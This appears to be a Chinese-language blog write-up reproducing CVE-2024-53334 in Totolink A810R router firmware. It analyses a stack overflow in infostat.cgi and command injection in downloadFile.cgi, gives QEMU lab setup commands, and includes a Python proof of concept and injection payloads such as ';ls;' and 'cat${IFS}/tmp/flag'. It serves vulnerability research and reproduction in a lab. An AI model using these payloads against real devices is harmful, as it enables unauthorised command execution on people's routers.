CVE-2024-53334
原理剖析
漏洞具体信息:https://github.com/luckysmallbird/Totolink-A810R-Vulnerability-1/blob/main/
(内含固件下载地址)
binwalk提取固件后,根据信息到 infostat.cgi 和 downloadFile.cgi 查看具体漏洞发生处
infostat.cgi
漏洞分析


也就是说fread导致v11存在栈溢出.
v11栈大小4096 要搞明白“CONTENT_LENGTH” fread函数 和strtol函数.
“CONTENT_LENGTH” 通常是 HTTP 请求中 POST 数据的长度
fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
从stream处读取大小为size的nmemb个元素到ptr处.
strtol(const char *str, char **endptr, int base)
转换为整数后 +1
疑问解析
fread函数不会检查从stream读取的字节移动到ptr时是否发生溢出吗 参考(https://www.cnblogs.com/ZIKH26/articles/16575066.html)
fread源码
size_t
_IO_fread (void *buf, size_t size, size_t count, FILE *fp)
{
size_t bytes_requested = size * count;
size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)
weak_alias (_IO_fread, fread)
# ifndef _IO_MTSAFE_IO
strong_alias (_IO_fread, __fread_unlocked)
libc_hidden_def (__fread_unlocked)
weak_alias (_IO_fread, fread_unlocked)
# endif
sgetn源码
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n);
}
libc_hidden_def (_IO_sgetn)
//调用了 _IO_XSGETN
//#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
//读(https://www.anquanke.com/post/id/177958#h3-3)
downloadFile.cgi

QUERY_STRING 是一个环境变量,主要用于 CGI(Common Gateway Interface,通用网关接口)程序 中,用来传递 URL 中的查询参数(即 URL 中 ? 后面的部分)。
这段代码首先把QUERY_STRING的值给到v14 再通过sprintf把v14的值传入v24 再系统调用执行v24. 存在缓冲区溢出

也就是说,攻击者可以通过?传参以及一些过滤符达到任意命令执行,可以造成非常严重的后果
环境复现
使用qemu-mipsel环境来复现
参考 https://www.cnblogs.com/apexchu/p/15801244.html
安装好所有依赖以及buildroot后
配置网络
sudo apt-get install bridge-utils uml-utilities
sudo brctl addbr br0
sudo ifconfig br0 192.168.122.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif br0 tap0
https://people.debian.org/~aurel32/qemu/ (根据你要下载的mips架构去选择对应的包)我下的是mipsel
sudo dnsmasq --strict-order --except-interface=lo --interface=br0 --listen-address=192.168.122.1 --bind-interfaces --dhcp-range=192.168.122.2,192.168.122.254 --conf-file="" --pid-file=/var/run/qemu-dhcp-virbr0.pid --dhcp-leasefile=/var/run/qemu-dhcp-virbr0.leases --dhcp-no-override
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
外网连接配置
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -s "192.168.122.0/255.255.255.0" ! -d "192.168.122.0/255.255.255.0" -j MASQUERADE
sudo iptables -N vm-service
sudo iptables -A vm-service -j ACCEPT
sudo iptables -A FORWARD -s 192.168.122.0/24 -j vm-service
由于包管理工具的deb与mipsel版本不兼容问题 主要是因为deb包换了一种打包方式.只能用wheezy自带的python2.7来部署web环境 但是相同的payload可能因为架构不一致原因无法正确被qemu-mipsel环境解析 所以来本地进行运行 即下图.
在复现过程中 还遇到一个问题,需要用到uClibc 但是在openWRT相关源中已经没有此包 只能下载源码自己编译,但是又与主机环境不适配,在虚拟机中又无法解包,相关动态链接文件都在固件包的lib下.
根据原理剖析部分,复现downloadFlile.cgi中的漏洞

下载好bp后 页面有显示了 可能是firefox和google的内核差异??
payload:http://192.168.122.76/cgi-bin/downloadFlile.cgi?payload=123;ls;

POC
import socket
# 1. 代理服务器信息(Burp Suite)
proxy_ip = "192.168.122.1" # 主机的IP地址
proxy_port = 8080 # Burp监听的端口
# 2. 目标服务器信息
target_ip = "192.168.122.76"
target_host = "192.168.122.76" # 目标主机名或IP
target_port = 80 # CGI服务默认80端口
# 3. 构建Payload(保持字节类型,8000个"a"+";ls")
payload = b"aaaaaaaaaaaa"
# 4. 构建HTTP GET请求(通过代理时需要完整的URL)
request = (
b"GET http://" + target_host.encode() + b"/cgi-bin/downloadFlile.cgi?payload=" + payload + b" HTTP/1.1\r\n"
b"Host: " + target_host.encode() + b"\r\n"
b"Connection: close\r\n" # 关闭长连接,确保响应完整返回
b"\r\n" # HTTP请求头结束标志(空行)
)
try:
# 5. 用socket连接到Burp代理,发送请求并接收原始响应
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((proxy_ip, proxy_port))
s.sendall(request)
# 循环接收所有响应数据(处理可能的分片响应)
raw_response = b""
while True:
data = s.recv(1024 * 10) # 每次接收10KB
if not data:
break
raw_response += data
print("=== 原始响应(未解析)===")
print(raw_response) # 打印原始字节流
print("\n=== 响应转字符串(便于阅读)===")
# 用latin-1解码(兼容所有字节值,避免解码错误)
print(raw_response.decode("latin-1", errors="ignore"))
except Exception as e:
print(f"请求错误: {e}")


如果没有触发缓冲区溢出漏洞 /tmp/download里面存放的就是传入的QUERY_STRING
输入
payload = b"a" + b';ls'

payload = b"a" + b';ls;'

payload=a;cat${IFS}/tmp/flag


浙公网安备 33010602011771号